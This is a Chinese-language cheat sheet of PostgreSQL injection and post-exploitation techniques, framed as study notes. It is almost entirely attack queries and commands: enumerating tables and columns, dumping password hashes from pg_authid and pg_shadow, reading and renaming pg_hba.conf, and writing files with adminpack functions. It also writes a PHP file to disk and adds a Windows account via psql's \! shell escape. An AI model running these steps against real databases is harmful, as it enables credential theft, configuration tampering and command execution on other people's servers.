PostGreSQL注入学习

/*author:b4che10r 转载请注明出处,thx*/

select version() 判断版本
select current_database(); 当前数据库
select session_user/current_user; 会话用户
inet_server_addr();数据库服务器的ip
inet_server_port(); 数据库服务器的端口
pg_stat_user_tables 存放系统所有表名的试图,关键字段relname,使用select relname from pg_stat_user_tables limit 1 offset 0 就可以读取到第一个表名.
select column_name from information_schema.columns where table_name='xxx' limit 1 offset n 这样就可以读取每个表名的字段.(需要在information_schema模式没有删除的情况下)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------
select relname from pg_stat_user_tables limit 1 offset n /*这样逐个得到用户表*/
select oid from pg_class where relname='xxx' /*这样得到表名为xxxoid,假设是16402*/
select attname from pg_attribute where attrelid=16402 limit 1 offset 6 /*本机测试前6个都是系统自带的,分别是tableoidcmaxxmaxcminxminctid*/
组 合成一句:select attname from pg_attribute where attrelid=(select oid from pg_class where relname=(select relname from pg_stat_user_tables limit 1 offset 2)) limit 1 offset 6(一般用户就可以用,本机测试没权限要求)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
select rolname,rolpassword from pg_authid; 获取用户名和hash(需要postgres用户权限)
select usename,passwd from pg_shadow;同上
----------------------------------------------------------------------------------------------------------------------------------------------------------------------
select datname from pg_database limit 1 offset n; 获取数据库服务器所有库名
select datname from pg_stat_database limit 1 offset n;同上
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
adminpack 包中的pg_logdir_ls()pg_ls_dir()pg_file_rename()pg_file_write()pg_file_read()pg_file_length()函数都限制在../postgresql/data目录下(之前230在文中提到目录 没权限的可能原因就是函数都限制在data目录下了)

pg_logdir_ls()select pg_logdir_ls(); ../postgresql/data/pg_log/目录

pg_file_read(text,bigint,bigint):select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf')); 读取../postgresql/data/pg_hba.conf的内容


select pg_ls_dir(text):select pg_ls_dir('pg_log/'); ../postgresql/data/pg_log/目录

select pg_file_rename('pg_hba.conf','fuck.conf'); pg_hba.conf文件名改成fuck.conf

select pg_file_write('fuck.txt','postgresql',true); 这样就在./postgresql/data目录下新建一个fuck.txt内容是postgresql

如果是在开始--程序--运行psql的话,select '<?php phpinfo(); ?>'; \g 1.php这样的话,1.php是写在../postgresql/script/目录下
---------------------------------------------------------------------------------------------------------------------------------------------
登 陆pgsql,运行\! net user killer 123123 /add这样就可以添加个用户,就是说可以执行系统命令,select \!^<?php phpinfo(); ?^> >>c:\\1.php 这样是可以成功在c盘里写个shell的。

--------------------------------------------------------------------------------------------------------------
psql跨库查询目前没什么办法可以突破,只有在登录sql shell而且用户是有权限的情况下,才可以进行跨库查询